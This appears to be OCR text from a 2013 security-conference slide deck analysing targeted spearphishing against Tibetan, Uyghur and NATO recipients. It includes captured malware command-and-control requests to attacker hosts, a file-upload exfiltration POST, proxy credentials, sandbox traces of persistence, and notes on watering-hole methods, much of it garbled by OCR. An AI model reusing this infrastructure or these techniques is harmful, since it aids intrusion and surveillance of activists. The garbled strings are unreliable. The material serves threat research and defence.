Attachments: 8] ripetan in Delhi Sets Self Alight to Protest Chinese Leader's Visit.doe [1

Repl Repl
a X S o X gmon F o |»
i=§ Reply Al - i=8 Reply Al

« Delete - Quick Move  Tags Editing Zoom « Delete - Quick Move

Delete | Respond | Cluick Steps | | | | Zoom | Delete | Respond | Cluick Steps s | |
Fram: t.tenzin <t. tenzin@gmox.com = sent:  Sat 3,51/2012 10:40 AM Fram: fomchan «fomchan@gmx. com = Sen
To: ENS88 @yahoo.com To: dechen@yahoo.co.in
CC CC
Subject: Tibetan in Delhi Sets Self Alight to Protest Chinese Leader;™s Visit Subject: Tibetan in Delhi Sets Self Alight to Protest Chin

Attachments: ] ripetan in Delhi Sets Self Alight to Protest ¢

Cal

[«

A protest march in New Delhi took a dramatic turn after a Tibetan
exile self-immolated Monday afternoon.
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A protest march in New Delhi took a dramatic turn
exile self-immolated Monday afternoon.
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Grunts evade url filters!

| ) @ pklighndc.sosblogs.com/ttbg-b1/RSS-b1l-rss2-posts.htm

Subs @ rss.groups.yahoo.com//group/cdfreenas/rss

g Subscribe to this feed using | Live Bookmarks
N

| | Always use Live Bookmarks to subscribe to feeds.

| Subscribe Nc

ttbg : ttbhg

@Q;HIFoefIR]BPkooroWMUW\AZTM[zR_Alf]Z]fZfg*mfc cdfreenas at Yahoo! Groups
September 4, 2012 2:33 PM

typepad.com/blog/ _

@{ersp;12miyhqwntm;{ttzs#y.+(("%+#K#0/P..*,7V?;0.B4\ A:C@
December 28, 2012 10:41 AM

@{ersp;12miyhgwntm;{ttzs#y.+(('%+#K#0/P..*,7V?;0.B4\A:.C@

@6
- +TJK678N78&996+2/?EY7=6@_jgekdoliphMFO@

hello.
this is my new blog.
angelwing007's blog thankyou

2010-9-27 T4 4:55:33 EiLike 0
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Pretending to be Russian attackers?

nce/search/?query=c3al0bcdc7b8e5f4383b7e105aff2577 v ] {

File information

Identification Content Analyses Submissions TW Additional information Comments

< > + ¢

Date File name Source Counti
2013-01-29 07:40:40 R.doc_ ee7bal3c (web) RU

Bot Communication Details: Bot Communication Details:

Server DNS Name: akh-lisa.narod2.ru Service Port: 80 Server DNS Name: karol-m2012.narod2.ru Service Port: 80

Raw Command Raw Command

GET /NEWPUTIN.dat HTTP/1.0 GET /VICTORYDAY.dat HTTP/1.0

Host:akh-lisa.narod2.ru Host: karol-m2012.narod2.ru

Accept:*/* Accept:*/*

User-Agent:Mozi"a/q..O USGr-Agent:MOZ”Ia/"-.O

Connection:Keep-Alive Connection:Keep-Alive
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An interesting way to move laterally

Bot Communication Details:
Server DNS Name: 192.20.4.254 Service Port: 80

Raw Command

CONNECT sendmail.ddns.info:443 HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wini
.04506.648; .NET CLR 3.5.21022) Raw Command

Host: sendmail.ddns.info CONNECT 199.188.110.18:443 HTTP/1.1

Content-Length: 0 _ Proxy-Authorization: Basic a284MDY6eWZkYnVmbmpo
Proxy-Connection: Keep-Alive

Pragma: no-cache
Proxy-Authorization: Basic aGFyaXNoajpjYWIlyM1

Server DNS Name: 10.201.3.2 Service Port: 8080

Bot Communication Details:

Server DNS Name: icibank.dyndns.tv Service Port: 443
Bot Communication Details:

Server DNS Name: 192.20.4.254 Service Port: 80 Raw Command

CONNECT icibank.dyndns.tv:443 HTTP/1.0

Raw Command User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .N
CONNECT laugh.toh.info:443 HTTP/1.0 .04506.648; .NET CLR 3.5.21022)
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windo Host: icibank.dyndns.tv
.04506.648; .NET CLR 3.5.21022) Content-Length: 0
Host: laugh.toh.info Proxy-Connection: Keep-Alive

Content-Length: 0

A ) Pragma: no-cache
Proxy-Connection: Keep-Alive Proxy-Authorization: Basic cmFnaGF2ZW5kecmFyYW9kOmVFXzYzOTA1
Pragma: no-cache

Proxy-Authorization: Basic c3dhbXVsdTpzd2FtdWx1NTkyMQ==
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Evading dns detection using http based lookups

Server DNS Name: www.dnswatch.info Service Port: 80

Direction Command
GET /dns/dnslookup?la=en&host=goodhope.no-ip.org&type=A8submit=Resolve HTTP/1.1
Others Cache-Control: no-cache

Callback communication observed from VM: Malware: Backdoor.APT.Protux
Server DNS Name: 199.16.199.3 Service Port: 1863

Raw Command

POST http://goodhope.no-ip.org:1863/index.php?id=2959 HTTP/1.1
User-Agent: Mozilla/4.8.20 (compatible; MSIE 5.0.2; Win32)

Content-Type: multipart/form-data; boundary=---------- 605456311F110B89
Host: goodhope.no-ip.org

Content-Length: 272

Proxy-Connection: keep-alive

Pragma: no-cache

—————————— 605456311F110B89
Content-Disposition: form-data; name="UploadFile"; filename="61C2730A.bmp"
Content-Type: application/octet-stream
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The same attackers use the same themes

i &1 E RS = —
Message Message | A
B 2 22 2%@ B o BN
F & & S E O B REeE Bue 3 02 W
Delete  Reply Rgp[yMl Forward ) Misve @Junk Reply Reply All Forward ﬁ Move Bjunk' { Unread Categorize FollowUp -
Who is propping up Gaddafi? Obama on Syria: U.S. can't be a bystander
rica_dellas@fastmail .fm Radhakrishna Rao
Sent: Thursday, February 24, 2011 9:16 AM Sent: Monday, F:b"“a"’ 27,2012 9:49 AM
To: jec@hq.nato.int s @bg-nato.be .
£’ & Who is propping up Gaddafi.pdf (184.5 KB) ' Preview | &: [ Obama on Syria.pdf (119 kB) (Preview)

E |

Unlike in Egypt or Tunisia, it is not the conventional military that Lhe president indicated the U.S. could play a larger role in the ongoing violence there Read more
holds the balance of power in Libya. Attached with more details. by Leigh Ann Caldwell on CBS News' ...

rica_dellas@fastmail.fm

http://www.fastmail.fm - Send your email first class

|
® O © Did Global Warming Contribute to Hurricane Sandy's Devastation? - Temporary Items

. Message

B =

Delete 5 Reply Reply All Forward £ Move wjunk Unread Categorize Follow Up

Did Global Warming Contribute to Hurricane Sandy's Devastation?
DAVID BARBOZA

Sent: Wednesday, October 31, 2012 8:46 AM
To: irry@nshg.nato.int

&'t " Did Global Warming Contribute to Hurricane Sandy's Devastation.doc (339.5 KB) | Preview
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Even | am a target!

Al * ¥ |5 Spearphishing with malicious attachments - Message (HTML) | = | =l g Alld 9 - |3 Spearphishing with malicious attachments - Message (HTML) | = | o x|
Message & 9 Message & 9
ek v i ™ N L Y
i x | —»é] i& i} 5 maawg W (FyMark Unread ai) # O (g Reply 3 maawg 43 lﬁc‘\\' j Mark Unread a¥ a O
o —ﬁ — =Y —J i ] iva v - 1“ A i -1 % -!h
£ To Manager . &5 categorize 3 4 Reply Al % To Manager v N 32 Categorize * -
%v Delete | Reply Reply Forward ‘?_?“‘ev ) —| | Maove Translate Zoom = Py = 5 g & EE g
Al 2 Team E-mail - « [~ ¥ FollowUp~ . b~ &v Delete N d- s . — | Move Translate Zoom
2 Forward 3 Team E-mail |« | ¥ FollowUp - A"
Delete Respond Quick Steps y Move Tags y Editing Zoom . .
Delete Respond Quick Steps a Maove Tags 3 Editing Zoom
From: Alex Lanstein Sent: Thu 4/5/201212:25 AM I
in "Mlex Lanstein (ALanstein @FireEye.com)’ From: dawatsering228@yahoo.com on behalf of Alex Lanstein <ALanstein@FireEye.com: Sent: Fri4/6/2012 3:20 AM
o To victoria, 2006@yahoo.com
Beo Btanc.org; ' Zyahoo.co.in'; @yahoo.com’; ' i@yahoo.com'; @yahoo.com’; | | Co
"7 @yahoo.com'; @yahoo.com’; _  @yahoo.com’; @yahoo.com’; [, e . -
@blileu\lin.df,' 'alison@ﬁbemet'nlolrk.org'; @gmail.éom';' _ _ @yahoo.com’; ,J @hotmail. com’; L . Ll DL IR e s
@gmail.com’; @yahoo.com’ Attachments: % pext Generation Threats.pdf (536 KE)
Subject: Spearphishing with malicious attachments =
= i
Hello, 2 Hello, z

My name is Alex Lanstein with a security company called FireEye. We deal with targeted attacks against large
organizations that come in via email attachment or email links. Essentially, | do malware analysis for a living.

Wy name is Alex Lanstein with a security company called Firefiye.  We deal with
If I have you on the BCC list, you have submitted more than one targeted malicious attachment to virustotal over Y ¥ company v
the past few months. Please understand that when you send afile to VT, many researchers like myself get a copy
of the emailin order to test our products. ||| or email links., Essentiallwy, I do malware analysis for a livine.

targeted attacks agalnst large organizations that come in via emall attachment

I would love to write a blog entry at my corporate site about a few of these attacks and mention you by
name. Keep in mind | already have this information, but I would like your permission in addition, as it might not

have been an IT person who uploaded the file, not you specifically. . .
o P youse v If T have you on the BCC list, you have submitted more than one targeted

malicious attachment to virustotal over the past few months.,  Pleage
understand that when you send a file to VI, many researchers like myself get a

Thanks in advance,

Alex Lanstein copy of the emall in order to test our products.
Senior Systems Engineer

Direct: +1 (860) 625-4277
Email: alanstein@fireeye.com

? I would love to write a blog entry at my corporate site about a few of these
‘5 F. E : attacks and mention wou by name.  Keep in mind I already have this information,
C Ire ye but I would like your permission in addition, as it might not have been an IT

Malware Protection System person who uploaded the file, not you specifically.
http://www.Fire Eye.com




.CN character set

GB 2312 - Wikipedia, the free encyclopedia

en wikipedia.org/wiki/GB_2312

GB2312 is the registered internet name for a key official character set of the People's
Republic of China, used for simplified Chinese characters. GB abbreviates ...

-+ Characters - Encodings of GB2312 - See also - External links

g )
{I Spearphishing with malicious at.. malicious attachments.eml) - GVIM oo

A——————

File Edit Tools _Eyntax _Euﬁ’ers Window HEF_p

AFRE @ inEBRRISSA[THO ?2 2

boundary=""----=_MHextPart_861_8668 B1CBES98.18E467 80" =

—————— = MHextPart_861_8668 B1CEBES?8.18BE4G7 00
Content-Type: multipart/falternative;
boundary=""--——=_HextPart_862_ BEEA_B1CBES98.18E467 08"

—————— = HextPart_882_BEEA_B1CBES?8.18E4G7 00
(Content-Type: text/plain; L
charset="gh2312"

iContent-Transfer-Encoding: baseb6d

SGUshbGEsDRogD]pHeSBuYW1IG1zIEFsZ¥gqTGFuc3R1laiqd2]1 BaCBhIHH1Y 3UVyaXR5E IGHubXBh
(bnkg¥2FsbGUKIEZpcmUFeWUuICBXZSBRkZWFsIHdpdGggdGFy 22V aZugY xR @Y WHrcyBhZ22F pbnHB
IGxhcmd1IG9yZ2FualphdGlvbnigdGhhdCB jb211IG61uIHZpYSB1bWFpbCBhdHRhY2ZhtZUWSBIGYY
IGUEYW1sIGxpbmtzLiAgRENzZWS BaWFsbHksIEKgZGBgbWFsd2FyZSBhbmFseXHpcyBmb3I1gYSBs
aXZpbmculQogDbQpJZ2iBJIGhhdmUgeW?1IG2uIHRoZSBCOBHgbGlzdCwgeW?1IGhhdmUgc3Vibl/l @
W[dGUKIG1vcmlgdGhhbiBubmUgdGFyZ2U@82W)gbWFsaWNpb3Uz IGF BdGF jaG11bnQgdG8gdmlydyHE
b3RhbCBudnUyIHRoZSBwYXHBIGZ1dyBtb25 BaHMuICBQbGUhc 2UgdWSkZX JzdGFuZCEAaGF BIHdo
(ZWageWo1IHH1bmgYSBmaW<1 IHRvIFZULCBEYWSSTHI1c2UhemHo 28 JzIGxpaZligbhXlz2WmIGd1
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AFI Name: GetTempPath& Address: 0x02120131
Imagepath: C:\Program Files\Adobe\Reader 9.0VReaderAcroRd32.exe DLL
Name: kernel32

Call Stack:

Frame Instruction Module Name Symbol Name
Mo Addr.

1 Ix76abi859b CiyWindowssystem32 GetTempPathA

‘kernal22.dl0
2 002120131
0=02120000
4 O0c0c0d0e

Ci\Users\admin‘Applata'Local\Temp\Winword.js
MDS: d013eb4fObf481513de368calarar23s
SHAL: 2b779b72285dbbR39b43f088597 acbel7beTc02f

Ci\Users\admin\AppData'Local\Temp\Adobe.pdf

AFI Name: ReadFile Address: 0x021203al1

Params: [0x00000278, 0x02580048, 491801, 0x0212008a, 0x00000000]
Imagepath: C:\Program Files\Adobe\Reader 9.0VReaderAcroRd32.exe DLL
Name: kernel32

Call Stack:
Frame Instruction Module Name Symbol Name
Ma. Addr.
1 0x76a%daae C\Windows'\system32 ReadFilelmplementation
Ykernel22.4
2 Ox021203a1
] Ox02120000

Ci\Users\admin\AppData\Local\Temp'\Adobe.pdf
MDS: 6e39cbfdi0de4202958df76b42e386de
SHAL: ae9e384e95877576e8d792773ebad5014d55721¢c

Ci\Windows'\System32\cscript.exe
Parentname: C:\Program Files\Adobe\Reader 3.0\ReaderiAcroRd32.exe
Command Line: cscript Ci\Users\admin'AppData'Local\Temp\Winword.js

Ci\Users\admin‘Applata'Local\Tempiconime.aexe
MDS5: 22602823d8e773ea7cl2741c37 34600
SHAL: c1750dblca2a7657b1feSd112fde422534b63akc

RSACONFERENCE2013

5D

sD

CHUsers\admin\AppData\Roaming\Microsoft\Windows'Start Menu'Programs\Startup
“Wpdata.lnk

CHUsersiadminiapphatalLocal\Tempiconime.inf
MD5: 124668acfSdefeldal?blfed382291bc
SHAL: cffed8762e28415332079394b2144300cfcfE62e9

AFI Name: Sleep Address:
Params: [2000]
Imagepath: C:\Users\admin\AppData\Local\Tempiconime.exe DLL Name: kernel32

0x00401242

C\Windows\System22\cmd.exe
Farentname: Ci\Users\admin‘AppData\Local\Templconime.exe
Command Line: cmd /c echo test = "C:\Users\admin\AppData'Local\Temo'\conime.dll"

Ci\Users\adminAppDataiLocal\Tempi~temgp.exe
Farentname: C:\Windows\System32\cscript.exe
Command Line: ~temgp.exe
MDS: 3260a8e3d8e?732eacl2741c57 34600
SHAL: c1750dbica3a7657bifeSdii2fd6422524b62a6C

Imagepath: C:\Usersladmin‘\AppData'Local\Temp'~temgp.exe
Cr\Windows'\System22\cmd.exe

Farentname: C:\Windows\System32\cscript.exe
Command Line: cmd /c Adobe.pdf

Idhook: 3 Hookprocaddr: 0x10002a2f Moduleaddr: 0x10000000 Threadid:
Imagepath: C:\Users‘admin‘\AppData‘Local\Tempiconime.axea

MD5: dal835a6765d6005bScde26d78856cha

SHAL: 2632ealef53cicEb5461bffbT746ebateblleeifa

3216

Bot Communication Details:
Server DNS Name: &1.178.77.28 Service Port: 80

Direction Command

GET /WinData.DLL?HELO-5TX-1*10.0.0.43%Businesss




Decoy content is FireEye.com

'@ Adobe.pdf - Adobe Reader
File Edit Yiew Window Help

BREAZE e X
1)

Advanced Malware, Zero-day and Targeted APT Attacks | FireEye, Inc.

)
<O Fire Eye

. Next Generation Threats

.

. News & Events

. Compa
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Tracking back the email. . .

—_— Al U « ¥ |- Spearphishing with malicious attachments - Message (HTML) EE P

Message A G
@ Tgnore x % _a @ % _g. a 23 maawg b3 ﬁ- Rules = @ Mark Unread a’% & Q
Q To Manager @ OneMote E Categorize = %'

-~ Delete Reply Reply Fornward - ) _ Move Translate Zoom
& lunk All 2 (3 Team E-mail - -~ [ Adions - | ¥ Follow Up ~ - g~
| | | .
Delete | Is —— diting | Zoom |
== ——
From: dawatseri _ t: Fri 4/6/2012 3:20 AM
Tao: victoria. 20 Settings Security
e K Importance: [ Encrypt message contents and attachments
Subject: Spearphis = [ ] ikl gt < :
. gital signature to outgoing message
Aescments: i o sty —
[ | Request S/MIME receipt for this message
Do not AutoArchive this item ]
Hello, Tracking options |:|
E__Lﬁ [ | request a delivery receipt for this message
. @ [ |request a read receipt for this message
. Delivery options
My name is Alex|| . leeted attacks =
against large oyl ' Have replies sent to: | | Entially, I
1
do malware ana]_]. ["| Expires after: |Nnne IEI |12:[JD AM EI
Contacts... | |
Categories | Maone |
If I have vou o ttachment to
virustotal over || [Miemetheaders: | gkesCoxugUEQEZPYSeURiND ~U- - o VI, mary
. ¥-Yahoo-5MTP: 524 3XKswE tEKLIBbY 3WKXwCdkOHN 7Ot
researchers likeg Received: from nrdimrk (dalfatsering228@209. 11, 241. 144 with |
by smtp20 1.mail.bf1.ya com with SMTP; 06 Apr 2012 126
0700 FOT [
Sender: dawatsering228@yahoo. com
Message-ID: <6EFASS1TSED41TEF474632EDAD 1C3EED @nrdimrk =
I would love to and mention
vou by name. ermission in
addition, as it mig vou specificallwy. =
-
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Email filters are trivial to evade

alanstein@max.eng.fireeye.com --- {~} whois 209.11.241.144
[Querying whois.arin.net]

[Redirected to vault.krypt.com:4321]

[Querying vault.krypt.com]

[vault.krypt.com]

rwhois V-1.0,V-1.5:00090h:00 vault.krypt.com (Ubersmith RW
autharea=209.11.241.128/25

xautharea=209.11.241.128/25

network:Class—-Name:network
network:Auth-Area:209.11.241.128/25
network:ID:NET-22686.209.11.241.128/27
network:Network-Name:VLAN 701 - BR3.LAX7
network:IP-Network:209.11.241.128/27
network:IP-Network-Block:209.11.241.128 - 209.11.241.159
network:0rg-Name:VPLS Inc.

network:Street-Address:

network:City:

network:State:

network:Postal-Code:

network:Country-Code:US

network:Tech-Contact :MAINT-22686.209.11.241.128/27
network:Created:20110120232128000
network:Updated:20110122012542000
network:Updated-By:support@vpls.net
contact:POC-Name:VPLS Technical Assistance Center

mmam A e A TV TP m 2 T e mirmamam o moand Arran T A a4
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Four spearphishes from same box

|£@g | | “7 3 & % |= Open Letter To President Hu - M... = | B |

-
.ﬂ|lﬂ ¥} 3 & ¥ |5 Breif report on the Kalon Tripa's ... /
e -
& 0 NI | Message
_ﬂ

=
Message & 0

Q Reply

aRepIy

‘u’ajrasatt'ua Empowerment March 10 2012.doc (241 KB);
= 72-0360-a.jpg (203 KE)

H T

23 Tibetan monks, nuns and

lavpeople have set fire to

a X Z |mlr/|a § [Na X Z |mlr a8 §
(=@ Reply Al — (=@ Reply Al —
%v Delete B - Quick Maove  Tags Editing| Zoom &- Delete B - Quick Move | Tags Editing| Zoom
QForward = Steps + - - - QForward = Steps = - - -
Delete Respond Quick Steps Zoom Delete Respond Quick Steps = Zoom
From: ajai_yads@yahoo.com on behalf of Sent:  Fri3/2/2012 7:18 AM From: TWA <twa@tibetanwomen.org= Sent:  Thu 3/1,/2012 4:40 AM
Tibetan Community Italy <info@comunitatbeta Tz rtwa_nyrj@yahoo. com
To: nchoedak @yahoo.com cc
| Lo Subject: Open Letter To President Hu
| Subject: . Breif report on the Kalon Tripa's meeting with the Tibetan community in It Attachments: Letter.doc (194 KB)
Attachments: B TaLIA TIBET.paf (5 KB) _
= . Eal
Fa (M| | Dear Sir, 3
l Dear all,
l =l cal
During the dirner on 28/02/2012, Mr. Fausto told me that if = || The actual situation in Tibet is r y.ver_vmncal and tr_agl_c. In i =
we could have contacted him before he could have arrange i 1:!1&1]101’}' of our brave bl'm]:.lEIS and SISIEIS-Wh.D are Samﬁm%theu
| another institutional meeting between the Ealon Tripa and | lives for our freedom and independence in Tibet.and try to stop
the Provice of Milan. Its really =sad that i1 was not able to China's massive repression and killing of Tibetans we will sent an
get in touch with them before the Ealon Tripa’ = wisit in | =] H “) 0 4 w |s Self-Immolation Fact Sheet - Me.. = = 52
Milan, I knew only a friend who belongz to Eadical party and ' ' 0
1 requested him i1f we could arrange zome institutional Fil Message & 9
meeting or .pregs canference fur the Kalon Tripa in Milan at - a Reply / ,_E . " — |
the zame time i got information from Mr. Tzetan Samdup 3 R @ Renly Al 7
I , eply .
- ——r— &v Delete E‘i‘g = Quick Move | Tags | Editing Zoom
. Tibketan Community Italy - £ Forward Steps~ M M M
— S — — S— Delete Respond Quick Steps = Zoom
: @ Outlook blocked access to the following potentially unsafe attachments:
Delete Respand Quick Steps foom Self-Immaolation Fact Sheet.tut.exe,
From: i A «sxfthb36@yahoo.com.cnz> Sent: Tue 2/28/2012 8:10 PM From: jatin bhatt <jit_bhatt51@yahoo.co.in= Sent:  Fri 2/24/2012 9:44 PM
Ta: doe. traditional @tbet.net To: sfrtyc@gmail.com
Cc Cc
Subject: March 10: 53rd Commemaoration of the 1959 Tibetan Mational Uprising Subject: Self-Immaolation Fact Sheet
Attachments: =

»

Self-Immolation Fact Sheet

Last Updated: February 23, 2012, 13:31 EST
Nangdrel | Damchoe | Lobsang Gvatso | Tenzin
Choedron | Sonam Rabvang | Rinzin Dorje

T ncnme Tnmarramer | & nsn e




SMTP+GUI based email

% 15a027b72%4128cb8efefObb...spearphishes\fibet) - GVIM3 | = | =

File Edit Tools Syntax Buffers Window Help

%

9826d298b673e545996646f /be..\spearphishes\tibet) - GVIM2
File Edit Teools 5Syntax Buffers Window Help

QDS 9| i RRRSEIAITHOl? &

—YHail-056: P5S12sYUHInl1ZLKZKISIMRgbAmDxHe]10e58kHEYx6U jDgq

OySqaR7zXpli E6FmRqBwsliDhbS5HS 7KFIUpIQwCd8 3qwPP15bYH 58aS1ir
bdlaxIdrEr3xachSP2mhskS j07vbah _en8Saub3Szhv¥qqs22dcYd9 JuloH
WH j27ErhpbUSceeul FYBYROLvlexhldrqSEs9z H7sshpDBuvuKCOKhA2TSul
HDHavPYKDF - elluGddgZ J1 . T BocuGCF 8iyrLUUGpte N2 W< kD B501 ArXth
uTxaDfZszhl 61 _oKhDgmBjEhx¥s gU95213i720s885el1Dcg2008etrBR3IJH
T1Hq3DI34D52 1L Xmt Jqlgx31tE 1gHbL .n09R7DnDLo7 1wmliFgDRUKPEXTEL
fPPaillinx .KkpPgbXSALGRHNZ tuPn_mEwZ/d7ubdHuml UHHK I HDBDAFrSekeI2
U ZEL St 20K T hGJPPHJYYedA?SnC1AD3ZB 1 nzHpO 7 408 heDpS53el 67 3HN
KaB%8zqbzp.Jal7ctH1 vl B VHuULKGCawE FgsYENWRCquwd 118w _UnaExA3T
.llenSLllSllnF'.'Hﬂﬂ w ith e 07 12 - 03nF81P2viiZrwZFefGeBBoph

HTTP; Sat ;
X-Hailer: YahooHd s . H.B_116 3384827

Hessage-ID: {1338137850.12880.YahooMailNeoRuweb95505 . .mail .in.yahoo
-com>

Date: lSat, 2% Feb 2612 B8:-14:-18 +8538 (IST)

From:- jatim bhatt <jit bhatt51@yahoo.co.in>

Reply-To: jatin bhatt <{jit bhatt51@yahoo.co.in>

Subject: Self-Immolation Fact Sheet

To: "sfriyclgmail .com™ <sfrtyc@gmail .com>

HIHE—Version: 1.8

-~

4

[] - 2=
W U = = = | 0r T

A2iJrhliHei=8y¥ate _cohBlqwHXHTiQEHES LEAECEYGob875F jqxPWmyE §
TvnpaSFonZ? juCCUbwer jgTR)7FhUBEqoylHurl1q7 _RjpbU29 5 hiBVwi:?
chFuxLikExdBqpexL I . wiu EZJpJDJqH dORRZ)fAdBwi pAHukgV j 3CAnKHG

quasZoshUaXL FWad DiHF PRZ2wrxsXSpWIHHAZYp IpASrAu
Etn—
[Received: fifom [289_11.251. 1l|l|] by wip15185.mail.cnb.yahoo.com wvi
a HTTP; Wed,

X-Hailer: YahooMe Rl 116 . 33827

Hessage—ID: <1333u??s12 03924 .YahooHailNeoBweb151085.mail.cnb.yaho
o0.conf]

Date: Wed, 29 Feb 2812 82:18:12 +8888 (C5T)

From: =Tutf—8?B76IyDIdaWul)==?= <{sxffhb3sEyahoo.com.cn?

Reply-To: =7utf-87B74IyDI0aWul)==?= {sxffhb36Eyahoo.com.cn>*
Subject: Harch 18: 53rd Commemoration of the 1959 Tibetan Hationa
1 Uprising

To: ““doe.traditional@tibet.net™ <doe.traditional@tibet.net>

ARRE e iam BRe
E—Yahoo-SHTP: Yu?ydBaswBClpl1KniyHY L0
Received: from qzeezuvdo {rahul sog
by smitp182_mail _sq3_yahoo .
6 —8sea PsST

Hessage-ID: <128742B2EESF27D356D7EB1985E4BAESRAgzeezyvvdo>
IFrom:= “Twa™ {twaBtibetanwomen.org>

lToz <rtwa_nynjEyahoo.com>

Subject: Open Letter To President Hu

Date: Thu, 1 Har 2812 17:39:5%2 +8888

(MIHE—Version: 1.8

Content-Type: multipart/mized;
boundary="—-—-=_HextPart_ 888 6838 S17ACC2D.134BDF 18"
X—Priority: 2

X-HSHail-Priority: Hormal

X-Hailer: Hicrosoft Dutlook Express 6.88.2988.5512
X-HimeOLE: Produced By Hicrosoft HimeOLE UG.88.2988.6157
Content-Length: 271686

Eile Edit Teools 5Syntax  Buffers Window Help

QERDE | vE | s na DRSS TH:

X-YHail-0S6: ghsaaKIVHimiclcWlyFUC_hahBEiSFHGnU1uBxgYeHQky
qrinfi8ATYxvEKKWxL oB7 Jd6R .m3L 2ZEPYAgL 7ZulHb(RvREHS ae j9zCJOF5E
eshim¥zbUrKThpBq6ZB0 . ex39c5L6E3Z jgE 72 BIVND BN c YwdptZhei 761
NFrw¥pi_ 88 tcyABvJEzhwirLo?hKgVQKInCl SnwwyFShflBE9zql0d HAHA
OrFx - 1UPYYELhpInlz ByCoDK?ml 63TOS2WHe j TUKUUREZqWD6uZQV_ nx?
vatfQuRCLCSvbJ1 13683 CERJKQF2Xr T19yv6BcdDol THY6A . QZzPPisH
j36 .RgCY9DKYHPESKVoyUAHEBRBY Zd8my2B3S Te3HUZr L 1hTq8nEgRAUMY
86Ra7oshyr8FrHUE?pd oPJ8 il 258 FoVdEKSnPuq2 701 qumwE _u3rPaFEQr
nBSz3KwSMRIENYzEnyPFgxUPHTERBBC /B 1040 URUUARS TELQREwSKn
JEHSs 20—

X-Yahoo-SHIP: FJdehdGsulBDHYo B
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Many countries do “offense”. . .

@ Morzilla Firefox

& https://10.6.1.15/event_stream/send_pcap_clip?ev_id=274622&idx=0

Dﬁ = ¥ 7b7abab9bc4c49743d001cf99737e383 [Compatibility Mode] - Microsoft PowerPoint SR
—/ Home Insert Design Animations Slide Show Review View (7]
— * A —T
& E| v X e T | =
: A A . i % = _ #
_ 1 E’ l ¥ | - N — L
aste - New B F U abe 8 -*s Aa- || A Shapes Arrange Qu Editing
Slide ~ % = ' - v Styles -
Clipboard M= Slides Font Drawing

e

Select tws-digit number then add the two digits
and subtract it from the main number(example
number=52 ,5+2=7, 52-7=435)search the result (45)
among the pictures, then keep in your mind this
pic .

look at the focal circle then click the appeared file
and wait to see the selected picture....
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A oM 11:113PM
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Backdoor.LV --- Middle Eastern Attackers

address: fayez-black.zapteo.org

channel: 1v|'|'ISGF]SZVkIE 5TEZheWVGIEhhY2tlanfNDAw0001MTA | ']
7G93cyBTY3JpcHQgSG9zdA==|"| " [endoT]

1c-service:

protocol: tcp

port: 1177

Aandrecc: 10Q_1A.10Q_72

Server DNS Name: awrasx1l@.no-ip.biz Service Port: 1177
Raw Command

W | " |*|2KrZhNi62YrzhSDZhdmI2KfZgti5INmD2YjZitiq2YrYqV8OMDBDRDUXMA==|"|" |Remote
PC|'|'|admin|*{"|2013
~@2-18|"'|'|USA|"|"|Win XP Professionalx86}'|"'[No|'|'[0.3.6]"|"]

|'| " |QzpcVOLOREIXU1xzeXNOZWOZM X j

400CD510 4 S a8 ga asls
;:;X:g;l;lgﬁ;ip.biz Service Port: 83 | 4OOCD51 0—2 3 "

1V|'| |ZKZZhdeZLKYXZQWMENENTEW| “IReinivle
PC| " |aUm;“, I'|2@12 12~ 95{"'|US " |W1n XP Profess.un
M

|
a1x86| |"INo|"'|"|@.3.6]"|"] |"|"|I"'|"|[endof]



Links vs. Attachments by month
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I'd assume you know what a link looks like. ..

=A™ N B e - -Uyghur Football Survey (please join in) - Message (HTML) E‘Elg

: 2 : k" - A =
LJ._'_'\"-;‘Ignore x A A A a % maawg _b]-; @ @MEFI‘ZUHFEEC‘ a& ﬁ _&
@ To Manager - @ E Categarize %'
&Junkv Delete | Reply F{;;I:llly Forward %v @ Team E-mail - Mti\re @ - | ¥ Follow Up - Translate [% | Zoom
Delete | Respond | Quick 5teps | Move | Tags M | Editing | Zoom |
| From: vhusde @yahoo.com on behalf of info@etas. org.au Sent:  Fri1/20/2012 10:03 &M
To: kelsang.gyaltsen@bluewin.ch
Cc
Subject: Uyghur Football Survey (please join in)
M E] East Turkistan football Association Volunteer pdf (402 KE)
&
HEH{L |:|
This is Henrvk Szadziewski at the Uvghur Human Rights Project. [ am doing a paper on football and identity
among the Uvghur people. I have a brief survev (in English and Uyghur) on football. I would be very grateful if
vou took the time to complete it to help my research. Tt should take no longer than five to ten minutes. The

survey is available here: http//www_survevmonkev com/s VXLLFEZ (link is safe).

Thank vou very much.

Mining ismim Henrvk Szadziewski, Uvghur Kishilik Hoquq tetgiqati bilen shughullinimen. Men hazir
Uvwghurlardiki kimlik tonushi we potpul digen timida bir magala tevarlawatimen. Men potpul heqqgide gisqa bir
rav sinash matervali tevarlidim (Uvghur we English tilida). Men sizleming azraq wahtingizlami chigirip, bu ray
sinash matervaligha jawap berishingizlami umut gilimen, bu mening bu timidild tetqigatim nuchun nahawveti
vardemlik bolidu. Bu ray sinashni toldurush uchun kop bolsa 3 tin 10 minutqa gqeder wagqit ketidu. Ray sinash
matervalini towendiki ulanmidin koreleysiz, hemde bu ulanma biheter.
httpfwww.survevmonkev.com/s/ VXLLFRZ

Sizge koptin-kop rehmet!

ADDRESS:Wandana Community Center
14 Blacks Road
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Offense: A Watering Hole Methods

Growing in popularity among nation-state threat actors
Useful when precise targeting intel is unknown
Compromise web site likely visited by target

Start campaign when target is distracted (e.g. holidays)
Once victim compromised, cleanup site

Or, leave exploit for opportunistic
attacks




Council of Foreign Relations (CFR) Attack

Exploits vulnerability in Internet Explorer 8.0
CFR influential in US foreign policy decisions

<> Accessed by high ranking government officials, including former presidents, secretaries of state,
ambassadors, and leaders of industry

Perpetrated by nation state actors

<> Goal seems to be to gather business and/or military intelligence




Watering hole AKA “strategic web compromise”
ﬁ) Mozilla Firefox EM

i 1106115 https://10.6.1.15/event_stream,/send_pcap_clipfev_id=13054 &idx=0 | (1 -

G Dogu Tiirkistan Kiiltiir ve Dayamsma Dernegi Genel Merkezi - Windows Internet Explorer

|§. gokbayrak.com w || B[] | P |P =

File  Edit  View Favorites Tools Help

<lp Favorites | i @] ~ @& Free Hotmail & @
= = »
% Diogu Tiirkistan Kikir ve Dayanisma Dernedi Genel M. . f5 - Bl [ =5 v Page~ 3Safety v Todls v i@~
'&:{' Your current security setbings pot your compuker at risk, Click here to change waour security settings, .. x
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